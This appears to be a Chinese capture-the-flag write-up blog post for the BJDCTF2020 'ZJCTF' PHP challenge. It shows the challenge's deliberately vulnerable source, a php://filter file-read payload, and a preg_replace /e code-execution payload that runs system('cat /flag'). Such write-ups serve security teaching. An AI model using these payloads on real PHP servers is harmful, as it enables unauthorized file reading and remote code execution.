[BJDCTF2020]ZJCTF,不过如此

打开源码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

text是PHP的DATA伪协议 file是PHP的filter伪协议

构造?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到一串base64字符,解码后得到第二段源代码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

构造/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

知识点

PHP伪协议
https://www.cnblogs.com/wjrblogs/p/12285202.html
preg_replace远程代码执行
https://zhuanlan.zhihu.com/p/47353283

 






posted @ 2021-08-08 22:57  凇岳  阅读(85)  评论(0)    收藏  举报